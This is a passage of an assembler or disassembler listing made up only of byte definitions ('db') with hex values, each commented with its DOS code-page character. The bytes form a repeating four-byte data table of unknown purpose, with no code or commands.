		db  97h	; ≈
		db  66h	; f
		db    2	;  
		db 0D2h	; р
		db  97h	; ≈
		db  69h	; i
		db    1	;  
		db 0D2h	; р
		db  97h	; ≈
		db  6Ah	; j
		db    1	;  
		db 0D2h	; р
		db  97h	; ≈
		db  6Ah	; j
		db  48h	; H
		db 0D2h	; р
		db  97h	; ≈
		db  6Ch	; l
		db  34h	; 4
		db 0D2h	; р
		db  97h	; ≈
		db  6Dh	; m
		db    2	;  
		db 0D2h	; р
		db  97h	; ≈
		db  0Bh	;  
		db  79h	; y
		db 0D2h	; р
		db  97h	; ≈
		db  72h	; r
		db 0E4h	; Д
		db 0D2h	; р
		db  97h	; ≈
		db  72h	; r
		db 0E5h	; Е
		db 0D2h	; р
		db  97h	; ≈
		db  74h	; t
		db    1	;  
		db 0D2h	; р
		db  97h	; ≈
		db  78h	; x
		db 0D9h	; ы
		db 0D2h	; р
		db  97h	; ≈
		db  7Dh	; }
		db    1	;  
		db 0D2h	; р
		db  97h	; ≈
		db  7Eh	; ~
		db    2	;  
		db 0D2h	; р
		db  97h	; ≈
		db  80h	; ─
		db  41h	; A
		db 0D2h	; р
		db  97h	; ≈
		db  80h	; ─
		db  42h	; B
		db 0D2h	; р
		db  97h	; ≈
		db 0A3h	; ё
		db 0E1h	; А
		db 0D2h	; р
		db  97h	; ≈
		db 0AEh	; ў
		db    3	;  
		db 0D2h	; р
		db  97h	; ≈
		db  18h	;  
		db    1	;  
		db 0D2h	; р
		db  97h	; ≈
		db  18h	;  
		db  10h	;  
		db 0D2h	; р
		db  97h	; ≈
		db  1Dh	;  
		db 0FDh	; Щ
		db 0D2h	; р
		db  97h	; ≈
		db  1Eh	;  
		db    1	;  
		db 0D2h	; р
		db  97h	; ≈
		db  20h	;  
		db    2	;  
		db 0D2h	; р
		db  97h	; ≈
		db  23h	; #
		db    2	;  
		db 0D2h	; р
		db  97h	; ≈
		db  28h	; (
		db    1	;  
		db 0D2h	; р
		db  97h	; ≈
		db  2Ah	; *
		db    1	;  
		db 0D2h	; р
		db  97h	; ≈
		db  32h	; 2
		db    1	;  
		db 0D2h	; р
		db  97h	; ≈
		db  32h	; 2
		db    2	;  
		db 0D2h	; р
		db  97h	; ≈
		db  33h	; 3
		db    2	;  
		db 0D2h	; р
		db  97h	; ≈
		db  3Bh	; ;
		db  0Ah	;  
		db 0D2h	; р
		db  97h	; ≈
		db  3Bh	; ;
		db  0Bh	;  
		db 0D2h	; р
		db  97h	; ≈
		db  40h	; @
		db    5	;  
		db 0D2h	; р
		db  97h	; ≈
		db  40h	; @
		db    6	;  
		db 0D2h	; р
		db  97h	; ≈
		db  44h	; D
		db  0Bh	;  
		db 0D2h	; р
		db  97h	; ≈
		db  48h	; H
		db    4	;  
		db 0D2h	; р
		db  97h	; ≈
		db  49h	; I
		db  0Ah	;  
		db 0D2h	; р
		db  97h	; ≈
		db  4Ch	; L
		db    1	;  
		db 0D2h	; р
		db  97h	; ≈
		db  57h	; W
		db 0C1h	; а
		db 0D2h	; р
		db  97h	; ≈
		db  57h	; W
		db 0C2h	; б
		db 0D2h	; р
		db  97h	; ≈
		db  58h	; X
		db  0Bh	;  
		db 0D2h	; р
		db  97h	; ≈
		db  58h	; X
		db  0Ch	;  
		db 0D2h	; р
		db  97h	; ≈
		db  5Fh	; _
		db    1	;  
		db 0D2h	; р
		db  97h	; ≈
		db  60h	; `
		db  22h	; "
		db 0D2h	; р
		db  9Ah	;  
		db  2Eh	; .
		db 0C2h	; б
		db 0D2h	; р
		db  9Bh	; ⌡
		db  80h	; ─
		db    6	;  
		db 0D2h	; р
		db  9Bh	; ⌡
		db  94h	; ■
		db    6	;  
		db 0D2h	; р
		db  9Dh	; ²
		db 0E0h	; Ю
		db    7	;  
		db 0D2h	; р
		db  9Eh	; ·
		db    0	;  
		db  11h	;  
		db 0D2h	; р
		db  9Eh	; ·
		db 0C3h	; ц
		db    7	;  
		db 0D2h	; р
		db  9Eh	; ·
		db  18h	;  
		db  82h	; ┌
		db 0D2h	; р
		db  9Eh	; ·
		db  18h	;  
		db  83h	; ┐
		db 0D2h	; р
		db  9Eh	; ·
		db  40h	; @
		db    2	;  
		db 0D2h	; р
		db  9Fh	; ÷
		db    1	;  
		db  22h	; "
		db 0D2h	; р
		db  9Fh	; ÷
		db    1	;  
		db  32h	; 2
		db 0D2h	; р
		db  9Fh	; ÷
		db  2Eh	; .
		db    3	;  
		db 0D2h	; р
		db  9Fh	; ÷
		db    9	;  
		db 0E2h	; Б
		db 0D2h	; р
		db 0A0h	; ═
		db  95h	; ∙
		db  65h	; e
		db 0D2h	; р
		db 0A0h	; ═
		db  26h	; &
		db  22h	; "
		db 0D2h	; р
		db 0A0h	; ═
		db  26h	; &
		db  26h	; &
		db 0D2h	; р
		db 0A1h	; ║
		db  6Ah	; j
		db 0A2h	; ╒
		db 0D2h	; р
		db 0A1h	; ║
		db  82h	; ┌
		db    6	;  
		db 0D2h	; р
		db 0A1h	; ║
		db  84h	; └
		db  0Ah	;  
		db 0D2h	; р
		db 0A1h	; ║
		db  90h	; ░
		db    3	;  
		db 0D2h	; р
		db 0A1h	; ║
		db  94h	; ■
		db    3	;  
		db 0D2h	; р
		db 0A1h	; ║
		db  0Fh	;  
		db  81h	; │
		db 0D2h	; р
		db 0A1h	; ║
		db  96h	; √
		db    1	;  
		db 0D2h	; р
		db 0A1h	; ║
		db  98h	; ≤
		db  63h	; c
		db 0D2h	; р
		db 0A1h	; ║
		db  99h	; ≥
		db    3	;  
		db 0D2h	; р
		db 0A1h	; ║
		db  9Bh	; ⌡
		db    1	;  
		db 0D2h	; р
		db 0A1h	; ║
		db  10h	;  
		db  0Ah	;  
		db 0D2h	; р
		db 0A1h	; ║
		db  10h	;  
		db  0Bh	;  
		db 0D2h	; р
		db 0A1h	; ║
		db 0A0h	; ═
		db  0Ah	;  
		db 0D2h	; р
		db 0A1h	; ║
		db 0A0h	; ═
		db  0Ch	;  
		db 0D2h	; р
		db 0A1h	; ║
		db 0A8h	; ╗
		db    5	;  
		db 0D2h	; р
		db 0A1h	; ║
		db 0A9h	; ╘
		db    2	;  
		db 0D2h	; р
		db 0A1h	; ║
		db 0ABh	; ╚
		db  0Bh	;  
		db 0D2h	; р
		db 0A1h	; ║
		db 0ACh	; ╛
		db    1	;  
		db 0D2h	; р
		db 0A1h	; ║
		db 0AFh	; ╞
		db    1	;  
		db 0D2h	; р
		db 0A1h	; ║
		db 0B1h	; ╠
		db    7	;  
		db 0D2h	; р
		db 0A1h	; ║
		db 0B1h	; ╠
		db    8	;  
		db 0D2h	; р
		db 0A1h	; ║
		db 0B3h	; Ё
		db  15h	;  
		db 0D2h	; р
		db 0A1h	; ║
		db  12h	;  
		db    2	;  
		db 0D2h	; р
		db 0A1h	; ║
		db  13h	;  
		db    2	;  
		db 0D2h	; р
		db 0A1h	; ║
		db    2	;  
		db    1	;  
		db 0D2h	; р
		db 0A1h	; ║
		db    2	;  
		db  50h	; P
		db 0D2h	; р
		db 0A1h	; ║
		db 0E5h	; Е
		db  52h	; R
		db 0D2h	; р
		db 0A1h	; ║
		db  17h	;  
		db    4	;  
		db 0D2h	; р
		db 0A1h	; ║
		db  17h	;  
		db    5	;  
		db 0D2h	; р
		db 0A1h	; ║
		db  1Bh	;  
		db    1	;  
		db 0D2h	; р
		db 0A1h	; ║
		db  23h	; #
		db  21h	; !
		db 0D2h	; р
		db 0A1h	; ║
		db  27h	; '
		db    2	;  
		db 0D2h	; р
		db 0A1h	; ║
		db    4	;  
		db    2	;  
		db 0D2h	; р
		db 0A1h	; ║
		db  28h	; (
		db    2	;  
		db 0D2h	; р
		db 0A1h	; ║
		db  2Bh	; +
		db 0C9h	; и
		db 0D2h	; р
		db 0A1h	; ║
		db  2Ch	; ,
		db  15h	;  
		db 0D2h	; р
		db 0A1h	; ║
		db  2Dh	; -
		db  0Ah	;  
		db 0D2h	; р
		db 0A1h	; ║
		db  2Eh	; .
		db  15h	;  
		db 0D2h	; р
		db 0A1h	; ║
		db  2Fh	; /
		db  0Ah	;  
		db 0D2h	; р
		db 0A1h	; ║
		db  30h	; 0
		db  15h	;  
		db 0D2h	; р
		db 0A1h	; ║
		db  33h	; 3
		db  14h	;  
		db 0D2h	; р
		db 0A1h	; ║
		db  34h	; 4
		db  0Ah	;  
		db 0D2h	; р
		db 0A1h	; ║
		db  36h	; 6
		db    5	;  
		db 0D2h	; р
		db 0A1h	; ║
		db  38h	; 8
		db    1	;  
		db 0D2h	; р
		db 0A1h	; ║
		db  38h	; 8
		db    2	;  
		db 0D2h	; р
		db 0A2h	; ╒
		db    0	;  
		db  22h	; "
		db 0D2h	; р
		db 0A2h	; ╒
		db 0B6h	; І
		db  0Ah	;  
		db 0D2h	; р
		db 0A2h	; ╒
		db  16h	;  
		db 0C2h	; б
		db 0D2h	; р
		db 0A4h	; є
		db  49h	; I
		db  82h	; ┌
		db 0D2h	; р
		db 0A6h	; і
		db  91h	; ▒
		db    6	;  
		db 0D2h	; р
		db 0A6h	; і
		db 0B0h	; ╟
		db    2	;  
		db 0D2h	; р
		db 0A6h	; і
		db 0E7h	; Г
		db 0E1h	; А
		db 0D2h	; р
		db 0A6h	; і
		db  20h	;  
		db  82h	; ┌
		db 0D2h	; р
		db 0A6h	; і
		db  20h	;  
		db 0C2h	; б
		db 0D2h	; р
		db 0A7h	; ї
		db  20h	;  
		db  46h	; F
		db 0D2h	; р
		db 0A7h	; ї
		db  20h	;  
		db  48h	; H
		db 0D2h	; р
		db 0A8h	; ╗
		db 0DEh	; ч
		db    2	;  
		db 0D2h	; р
		db 0A9h	; ╘
		db 0AAh	; ╙
		db  84h	; └
		db 0D2h	; р
		db 0A9h	; ╘
		db  35h	; 5
		db  82h	; ┌
		db 0D2h	; р
		db 0A9h	; ╘
		db  56h	; V
		db  7Bh	; {
		db 0D2h	; р
		db  11h	;  
		db    1	;  
		db    1	;  
		db 0D2h	; р
		db 0AAh	; ╙
		db  69h	; i
		db    2	;  
		db 0D2h	; р
		db 0ABh	; ╚
		db    0	;  
		db  21h	; !
		db 0D2h	; р
		db 0ABh	; ╚
		db    0	;  
		db  22h	; "
		db 0D2h	; р
		db 0ABh	; ╚
		db  64h	; d
		db    1	;  
		db 0D2h	; р
		db 0ABh	; ╚
		db  6Ch	; l
		db 0F6h	; Ж
		db 0D2h	; р
		db 0ABh	; ╚
		db  6Eh	; n
		db  0Bh	;  
		db 0D2h	; р
		db 0ABh	; ╚
		db  77h	; w
		db    2	;  
		db 0D2h	; р
		db 0ABh	; ╚
		db  80h	; ─
		db  1Dh	;  
		db 0D2h	; р
		db 0ABh	; ╚
		db  80h	; ─
		db    3	;  
		db 0D2h	; р
		db 0ABh	; ╚
		db  80h	; ─
		db  1Eh	;  
		db 0D2h	; р
		db 0ABh	; ╚
		db  85h	; ┘
		db    1	;  
		db 0D2h	; р
		db 0ABh	; ╚
		db  10h	;  
		db    5	;  
		db 0D2h	; р
		db 0ABh	; ╚
		db 0A0h	; ═
		db    3	;  
		db 0D2h	; р
		db 0ABh	; ╚
		db 0C0h	; ю
		db    2	;  
		db 0D2h	; р
		db 0ABh	; ╚
		db 0C2h	; б
		db    2	;  
		db 0D2h	; р
		db 0ABh	; ╚
		db 0C9h	; и
		db    2	;  
		db 0D2h	; р
		db 0ABh	; ╚
		db 0E1h	; А
		db  66h	; f
		db 0D2h	; р
		db 0ABh	; ╚
		db 0E1h	; А
		db  46h	; F
		db 0D2h	; р
		db 0ABh	; ╚
		db  17h	;  
		db    3	;  
		db 0D2h	; р
		db 0ABh	; ╚
		db  42h	; B
		db    2	;  
		db 0D2h	; р
		db 0ACh	; ╛
		db  40h	; @
		db  70h	; p
		db 0D2h	; р
		db 0ADh	; ґ
		db  47h	; G
		db    2	;  
		db 0D2h	; р
		db 0AEh	; ў
		db 0BFh	; ©
		db    1	;  
		db 0D2h	; р
		db 0AFh	; ╞
		db 0C0h	; ю
		db    3	;  
		db 0D2h	; р
		db 0AFh	; ╞
		db  32h	; 2
		db 0A2h	; ╒
		db 0D2h	; р
		db 0AFh	; ╞
		db  32h	; 2
		db 0A3h	; ё
		db 0D2h	; р
		db 0B4h	; Є
		db  62h	; b
		db  45h	; E
		db 0D2h	; р
		db 0BCh	; ╪
		db 0AFh	; ╞
		db    4	;  
		db 0D2h	; р
		db 0BDh	; Ґ
		db  10h	;  
		db    1	;  
		db 0D2h	; р
		db 0BDh	; Ґ
		db 0D3h	; с
		db  15h	;  
		db 0D2h	; р
		db 0BDh	; Ґ
		db 0D3h	; с
		db    3	;  
		db 0D2h	; р
		db 0BFh	; ©
		db    0	;  
		db    6	;  
		db 0D2h	; р
		db 0BFh	; ©
		db  64h	; d
		db  97h	; ≈
		db 0D2h	; р
		db 0BFh	; ©
		db  64h	; d
		db  98h	; ≤
		db 0D2h	; р
		db 0BFh	; ©
		db  6Ch	; l
		db    2	;  
		db 0D2h	; р
		db 0BFh	; ©
		db  6Eh	; n
		db    1	;  
		db 0D2h	; р
		db 0BFh	; ©
		db  78h	; x
		db 0FCh	; Э
		db 0D2h	; р
		db 0BFh	; ©
		db  0Eh	;  
		db  65h	; e
		db 0D2h	; р
		db 0BFh	; ©
		db  0Eh	;  
		db    2	;  
		db 0D2h	; р
		db 0BFh	; ©
		db  12h	;  
		db    1	;  
		db 0D2h	; р
		db 0BFh	; ©
		db  13h	;  
		db    1	;  
		db 0D2h	; р
		db 0BFh	; ©
		db 0C2h	; б
		db    2	;  
		db 0D2h	; р
		db 0BFh	; ©
		db 0C5h	; е
		db  82h	; ┌
		db 0D2h	; р
		db 0BFh	; ©
		db 0C5h	; е
		db    2	;  
		db 0D2h	; р
		db 0BFh	; ©
		db  14h	;  
		db    1	;  
		db 0D2h	; р
		db 0BFh	; ©
		db 0CDh	; м
		db  0Ah	;  
		db 0D2h	; р
		db 0BFh	; ©
		db  16h	;  
		db    2	;  
		db 0D2h	; р
		db 0BFh	; ©
		db  17h	;  
		db  0Ah	;  
		db 0D2h	; р
		db 0BFh	; ©
		db  18h	;  
		db    2	;  
		db 0D2h	; р
		db 0BFh	; ©
		db  1Ch	;  
		db    1	;  
		db 0D2h	; р
		db 0BFh	; ©
		db  1Ch	;  
		db    3	;  
		db 0D2h	; р
		db 0BFh	; ©
		db    7	;  
		db 0C9h	; и
		db 0D2h	; р
		db 0BFh	; ©
		db  47h	; G
		db    1	;  
		db 0D2h	; р
		db 0BFh	; ©
		db  47h	; G
		db    2	;  
		db 0D2h	; р
		db 0BFh	; ©
		db  48h	; H
		db    2	;  
		db 0D2h	; р
		db 0BFh	; ©
		db  49h	; I
		db    1	;  
		db 0D2h	; р
		db 0BFh	; ©
		db  4Bh	; K
		db  2Ah	; *
		db 0D2h	; р
		db 0BFh	; ©
		db  4Dh	; M
		db    2	;  
		db 0D2h	; р
		db 0BFh	; ©
		db  4Eh	; N
		db    3	;  
		db 0D2h	; р
		db 0BFh	; ©
		db    8	;  
		db  82h	; ┌
		db 0D2h	; р
		db 0BFh	; ©
		db  50h	; P
		db    3	;  
		db 0D2h	; р
		db 0BFh	; ©
		db  51h	; Q
		db    1	;  
		db 0D2h	; р
		db 0BFh	; ©
		db  52h	; R
		db    1	;  
		db 0D2h	; р
		db 0BFh	; ©
		db  53h	; S
		db    2	;  
		db 0D2h	; р
		db 0BFh	; ©
		db  55h	; U
		db    3	;  
		db 0D2h	; р
		db 0BFh	; ©
		db  60h	; `
		db    1	;  
		db 0D2h	; р
		db 0C5h	; е
		db  48h	; H
		db  14h	;  
		db 0D2h	; р
		db 0C5h	; е
		db  48h	; H
		db  15h	;  
		db 0D2h	; р
		db 0C7h	; г
		db 0DFh	; ъ
		db  62h	; b
		db 0D2h	; р
		db 0C9h	; и
		db  1Fh	;  
		db    1	;  
		db 0D2h	; р
		db 0D7h	; в
		db    1	;  
		db    1	;  
		db 0D2h	; р
		db 0D7h	; в
		db    2	;  
		db    1	;  
		db 0D2h	; р
		db 0DDh	; щ
		db  80h	; ─
		db    1	;  
		db 0D2h	; р
		db 0DDh	; щ
		db  80h	; ─
		db    2	;  
		db 0D2h	; р
		db 0E0h	; Ю
		db  85h	; ┘
		db 0D2h	; р
		db 0D2h	; р
		db 0E0h	; Ю
		db  85h	; ┘
		db 0DBh	; ш
		db 0D2h	; р
		db 0E1h	; А
		db  1Eh	;  
		db  52h	; R
		db 0D2h	; р
		db 0E2h	; Б
		db  9Ah	;  
		db 0E2h	; Б
		db 0D2h	; р
		db 0E2h	; Б
		db    6	;  
		db 0DAh	; з
		db 0D2h	; р
		db 0E4h	; Д
		db  78h	; x
		db 0FEh	; Ч
		db 0D2h	; р
		db 0E4h	; Д
		db  9Fh	; ÷
		db    1	;  
		db 0D2h	; р
		db 0E4h	; Д
		db 0A0h	; ═
		db  0Ah	;  
		db 0D2h	; р
		db 0E4h	; Д
		db 0A0h	; ═
		db  0Bh	;  
		db 0D2h	; р
		db 0E5h	; Е
		db 0A0h	; ═
		db  0Ch	;  
		db 0D2h	; р
		db 0E5h	; Е
		db 0A0h	; ═
		db  0Dh	;  
		db 0D2h	; р
		db 0E5h	; Е
		db 0A8h	; ╗
		db  52h	; R
		db 0D2h	; р
		db 0E5h	; Е
		db  40h	; @
		db    1	;  
		db 0D2h	; р
		db 0E5h	; Е
		db  40h	; @
		db    2	;  
		db 0D2h	; р
		db 0E6h	; Ф
		db 0FDh	; Щ
		db    1	;  
		db 0D2h	; р
		db 0E7h	; Г
		db  64h	; d
		db  85h	; ┘
		db 0D2h	; р
		db 0E7h	; Г
		db  64h	; d
		db    5	;  
		db 0D2h	; р
		db 0E7h	; Г
		db  68h	; h
		db 0CBh	; к
		db 0D2h	; р
		db 0E7h	; Г
		db  69h	; i
		db  82h	; ┌
		db 0D2h	; р
		db 0E7h	; Г
		db  6Ch	; l
		db    1	;  
		db 0D2h	; р
		db 0E7h	; Г
		db  6Ch	; l
		db    2	;  
		db 0D2h	; р
		db 0E7h	; Г
		db  6Eh	; n
		db 0FCh	; Э
		db 0D2h	; р
		db 0E7h	; Г
		db  70h	; p
		db  0Ah	;  
		db 0D2h	; р
		db 0E7h	; Г
		db  70h	; p
		db  0Bh	;  
		db 0D2h	; р
		db 0E7h	; Г
		db  71h	; q
		db    2	;  
		db 0D2h	; р
		db 0E7h	; Г
		db  81h	; │
		db    1	;  
		db 0D2h	; р
		db 0E7h	; Г
		db 0AAh	; ╙
		db 0C8h	; х
		db 0D2h	; р
		db 0E7h	; Г
		db 0DCh	; э
		db  82h	; ┌
		db 0D2h	; р
		db 0E7h	; Г
		db  5Ch	; \
		db    2	;  
		db 0D2h	; р
		db 0E7h	; Г
		db  61h	; a
		db 0C9h	; и
		db 0D2h	; р
		db 0EBh	; К
		db  23h	; #
		db    9	;  
		db 0D2h	; р
		db 0EEh	; Н
		db    9	;  
		db  0Ah	;  
		db 0D2h	; р
		db 0F0h	; П
		db  97h	; ≈
		db    1	;  
		db 0D2h	; р
		db 0F1h	; Я
		db 0C0h	; ю
		db 0C9h	; и
		db 0D2h	; р
		db 0F1h	; Я
		db 0C0h	; ю
		db 0CAh	; й
		db 0D2h	; р
		db 0F1h	; Я
		db 0EEh	; Н
		db  55h	; U
		db 0D2h	; р
		db 0F1h	; Я
		db  47h	; G
		db    1	;  
		db 0D2h	; р
		db 0F1h	; Я
		db  49h	; I
		db  21h	; !
		db 0D2h	; р
		db 0F1h	; Я
		db  4Bh	; K
		db 0C8h	; х
		db 0D2h	; р
		db 0F1h	; Я
		db  4Fh	; O
		db    1	;  
		db 0D2h	; р
		db 0F3h	; С
		db 0E5h	; Е
		db  7Dh	; }
		db 0D2h	; р
		db 0F4h	; Т
		db  8Bh	; ▀
		db  0Ah	;  
		db 0D2h	; р
		db 0F8h	; Ь
		db  84h	; └
		db 0F2h	; Р
		db 0D2h	; р
		db 0F8h	; Ь
		db 0A8h	; ╗
		db    2	;  
		db 0D2h	; р
		db 0FAh	; З
		db 0C0h	; ю
		db  32h	; 2
		db 0D2h	; р
		db 0FAh	; З
		db  1Fh	;  
		db  42h	; B
		db 0D2h	; р
		db 0FBh	; Ш
		db  6Fh	; o
		db    2	;  
		db 0D2h	; р
		db 0FBh	; Ш
		db 0A0h	; ═
		db  12h	;  
		db 0D2h	; р
		db 0FBh	; Ш
		db 0C0h	; ю
		db  82h	; ┌
		db 0D2h	; р
		db 0FBh	; Ш
		db 0C0h	; ю
		db  84h	; └
		db 0D2h	; р
		db 0FBh	; Ш
		db  4Dh	; M
		db  42h	; B
		db 0D2h	; р
		db 0FBh	; Ш
		db  50h	; P
		db  0Ah	;  
		db 0D2h	; р
		db 0FBh	; Ш
		db  55h	; U
		db    2	;  
		db 0D2h	; р
		db 0FDh	; Щ
		db  25h	; %
		db  1Ah	;  
		db 0D2h	; р
		db 0FDh	; Щ
		db  2Bh	; +
		db  0Ah	;  
		db 0D2h	; р
		db 0FDh	; Щ
		db  2Bh	; +
		db  0Bh	;  
		db 0D2h	; р
		db 0FDh	; Щ
		db  30h	; 0
		db  82h	; ┌
		db 0D2h	; р
		db 0FDh	; Щ
		db  30h	; 0
		db  83h	; ┐
		db 0D2h	; р
		db 0FEh	; Ч
		db  4Bh	; K
		db    2	;  
		db 0D2h	; р
		db  1Fh	;  
		db    0	;  
		db  0Ah	;  
		db 0D2h	; р
		db  1Fh	;  
		db  64h	; d
		db    4	;  
		db 0D2h	; р
		db  1Fh	;  
		db  68h	; h
		db    6	;  
		db 0D2h	; р
		db  1Fh	;  
		db  68h	; h
		db    7	;  
		db 0D2h	; р
		db  1Fh	;  
		db  78h	; x
		db  0Ah	;  
		db 0D2h	; р
		db  1Fh	;  
		db  78h	; x
		db  0Dh	;  
		db 0D2h	; р
		db  1Fh	;  
		db  80h	; ─
		db    1	;  
		db 0D2h	; р
		db  1Fh	;  
		db 0A0h	; ═
		db    8	;  
		db 0D2h	; р
		db  1Fh	;  
		db 0C7h	; г
		db    4	;  
		db 0D2h	; р
		db  1Fh	;  
		db 0D0h	; п
		db    8	;  
		db 0D2h	; р
		db  1Fh	;  
		db  20h	;  
		db    8	;  
		db 0D2h	; р
		db  1Fh	;  
		db  3Dh	; =
		db  42h	; B
		db 0D2h	; р
		db  1Fh	;  
		db  60h	; `
		db    4	;  
		db 0D2h	; р
		db  1Fh	;  
		db  60h	; `
		db    5	;  
		db 0D2h	; р
		db  33h	; 3
		db  10h	;  
		db  33h	; 3
		db 0D2h	; р
		db  33h	; 3
		db  10h	;  
		db  34h	; 4
		db 0D2h	; р
		db  34h	; 4
		db  95h	; ∙
		db    2	;  
		db 0D2h	; р
		db  34h	; 4
		db 0CFh	; о
		db    2	;  
		db 0D2h	; р
		db  34h	; 4
		db 0D4h	; т
		db  7Ah	; z
		db 0D2h	; р
		db  35h	; 5
		db  1Fh	;  
		db    2	;  
		db 0D2h	; р
		db  37h	; 7
		db  69h	; i
		db 0ECh	; Л
		db 0D2h	; р
		db  3Bh	; ;
		db 0E4h	; Д
		db  0Bh	;  
		db 0D2h	; р
		db  3Bh	; ;
		db 0E5h	; Е
		db    2	;  
		db 0D2h	; р
		db  3Dh	; =
		db  65h	; e
		db 0FDh	; Щ
		db 0D2h	; р
		db  3Dh	; =
		db  69h	; i
		db    1	;  
		db 0D2h	; р
		db  3Dh	; =
		db  6Eh	; n
		db    1	;  
		db 0D2h	; р
		db  3Dh	; =
		db  72h	; r
		db    2	;  
		db 0D2h	; р
		db  3Dh	; =
		db  73h	; s
		db    6	;  
		db 0D2h	; р
		db  3Dh	; =
		db  7Eh	; ~
		db    1	;  
		db 0D2h	; р
		db  3Dh	; =
		db  82h	; ┌
		db    1	;  
		db 0D2h	; р
		db  3Dh	; =
		db  83h	; ┐
		db    1	;  
		db 0D2h	; р
		db  3Dh	; =
		db  87h	; ┤
		db    1	;  
		db 0D2h	; р
		db  3Dh	; =
		db  88h	; ┬
		db    1	;  
		db 0D2h	; р
		db  3Dh	; =
		db  89h	; ┴
		db 0F1h	; Я
		db 0D2h	; р
		db  3Dh	; =
		db  8Fh	; ▐
		db  22h	; "
		db 0D2h	; р
		db  3Dh	; =
		db  95h	; ∙
		db    2	;  
		db 0D2h	; р
		db  3Dh	; =
		db  9Fh	; ÷
		db 0FDh	; Щ
		db 0D2h	; р
		db  3Dh	; =
		db 0A4h	; є
		db    1	;  
		db 0D2h	; р
		db  3Dh	; =
		db 0A6h	; і
		db    1	;  
		db 0D2h	; р
		db  3Dh	; =
		db 0B2h	; ╡
		db    2	;  
		db 0D2h	; р
		db  3Dh	; =
		db 0B6h	; І
		db    2	;  
		db 0D2h	; р
		db  3Dh	; =
		db 0BAh	; ╨
		db    1	;  
		db 0D2h	; р
		db  3Dh	; =
		db 0BCh	; ╪
		db    1	;  
		db 0D2h	; р
		db  3Dh	; =
		db 0D0h	; п
		db    1	;  
		db 0D2h	; р
		db  3Dh	; =
		db 0D1h	; я
		db    1	;  
		db 0D2h	; р
		db  3Dh	; =
		db 0D7h	; в
		db 0E2h	; Б
		db 0D2h	; р
		db  3Dh	; =
		db 0E4h	; Д
		db  6Fh	; o
		db 0D2h	; р
		db  3Dh	; =
		db 0E8h	; Х
		db 0FDh	; Щ
		db 0D2h	; р
		db  3Dh	; =
		db 0EAh	; Й
		db  0Ah	;  
		db 0D2h	; р
		db  3Dh	; =
		db 0F6h	; Ж
		db    1	;  
		db 0D2h	; р
		db  3Dh	; =
		db 0F6h	; Ж
		db    2	;  
		db 0D2h	; р
		db  3Dh	; =
		db  25h	; %
		db  0Bh	;  
		db 0D2h	; р
		db  3Dh	; =
		db  31h	; 1
		db    1	;  
		db 0D2h	; р
		db  3Dh	; =
		db  49h	; I
		db  19h	;  
		db 0D2h	; р
		db  3Dh	; =
		db  52h	; R
		db    1	;  
		db 0D2h	; р
		db  3Dh	; =
		db  55h	; U
		db  0Ah	;  
		db 0D2h	; р
		db  3Dh	; =
		db  58h	; X
		db    1	;  
		db 0D2h	; р
		db  3Fh	; ?
		db  5Ch	; \
		db    1	;  
		db 0D2h	; р
		db  3Fh	; ?
		db  5Ch	; \
		db    2	;  
		db 0D2h	; р
		db  40h	; @
		db  37h	; 7
		db  8Bh	; ▀
		db 0D2h	; р
		db  42h	; B
		db  92h	; ▓
		db  90h	; ░
		db 0D2h	; р
		db  45h	; E
		db  45h	; E
		db    2	;  
		db 0D2h	; р
		db  45h	; E
		db  49h	; I
		db    1	;  
		db 0D2h	; р
		db  47h	; G
		db  66h	; f
		db    1	;  
		db 0D2h	; р
		db  47h	; G
		db  66h	; f
		db    4	;  
		db 0D2h	; р
		db  47h	; G
		db  6Dh	; m
		db    1	;  
		db 0D2h	; р
		db  47h	; G
		db  70h	; p
		db    1	;  
		db 0D2h	; р
		db  47h	; G
		db  76h	; v
		db    1	;  
		db 0D2h	; р
		db  47h	; G
		db  7Ah	; z
		db    1	;  
		db 0D2h	; р
		db  47h	; G
		db 0AAh	; ╙
		db    1	;  
		db 0D2h	; р
		db  47h	; G
		db 0B0h	; ╟
		db    1	;  
		db 0D2h	; р
		db  47h	; G
		db 0B3h	; Ё
		db 0FAh	; З
		db 0D2h	; р
		db  47h	; G
		db 0DAh	; з
		db  82h	; ┌
		db 0D2h	; р
		db  47h	; G
		db 0DDh	; щ
		db 0FCh	; Э
		db 0D2h	; р
		db  47h	; G
		db  18h	;  
		db    3	;  
		db 0D2h	; р
		db  47h	; G
		db 0F0h	; П
		db    1	;  
		db 0D2h	; р
		db  47h	; G
		db 0F1h	; Я
		db    8	;  
		db 0D2h	; р
		db  47h	; G
		db 0F1h	; Я
		db    9	;  
		db 0D2h	; р
		db  47h	; G
		db  26h	; &
		db    1	;  
		db 0D2h	; р
		db  47h	; G
		db    4	;  
		db  3Ch	; <
		db 0D2h	; р
		db  47h	; G
		db  2Ch	; ,
		db 0A2h	; ╒
		db 0D2h	; р
		db  47h	; G
		db  30h	; 0
		db    1	;  
		db 0D2h	; р
		db  47h	; G
		db  35h	; 5
		db    1	;  
		db 0D2h	; р
		db  47h	; G
		db  38h	; 8
		db    1	;  
		db 0D2h	; р
		db  47h	; G
		db  3Eh	; >
		db    1	;  
		db 0D2h	; р
		db  47h	; G
		db  40h	; @
		db    3	;  
		db 0D2h	; р
		db  47h	; G
		db  47h	; G
		db    1	;  
		db 0D2h	; р
		db  47h	; G
		db  49h	; I
		db    2	;  
		db 0D2h	; р
		db  47h	; G
		db  4Ah	; J
		db    1	;  
		db 0D2h	; р
		db  47h	; G
		db  4Dh	; M
		db    1	;  
		db 0D2h	; р
		db  47h	; G
		db  4Dh	; M
		db    3	;  
		db 0D2h	; р
		db  47h	; G
		db  4Eh	; N
		db    1	;  
		db 0D2h	; р
		db  47h	; G
		db  4Eh	; N
		db    2	;  
		db 0D2h	; р
		db  47h	; G
		db  50h	; P
		db 0FCh	; Э
		db 0D2h	; р
		db  47h	; G
		db  5Bh	; [
		db 0FDh	; Щ
		db 0D2h	; р
		db  47h	; G
		db  63h	; c
		db 0FDh	; Щ
		db 0D2h	; р
		db    8	;  
		db  2Ch	; ,
		db    1	;  
		db 0D2h	; р
		db  50h	; P
		db  3Ah	; :
		db  62h	; b
		db 0D2h	; р
		db  50h	; P
		db  3Ch	; <
		db    1	;  
		db 0D2h	; р
		db  50h	; P
		db  3Ch	; <
		db    2	;  
		db 0D2h	; р
		db  50h	; P
		db  3Eh	; >
		db  81h	; │
		db 0D2h	; р
		db  50h	; P
		db  3Eh	; >
		db  91h	; ▒
		db 0D2h	; р
		db  51h	; Q
		db  70h	; p
		db  0Ch	;  
		db 0D2h	; р
		db  51h	; Q
		db  9Dh	; ²
		db    5	;  
		db 0D2h	; р
		db  51h	; Q
		db  12h	;  
		db  26h	; &
		db 0D2h	; р
		db  51h	; Q
		db  18h	;  
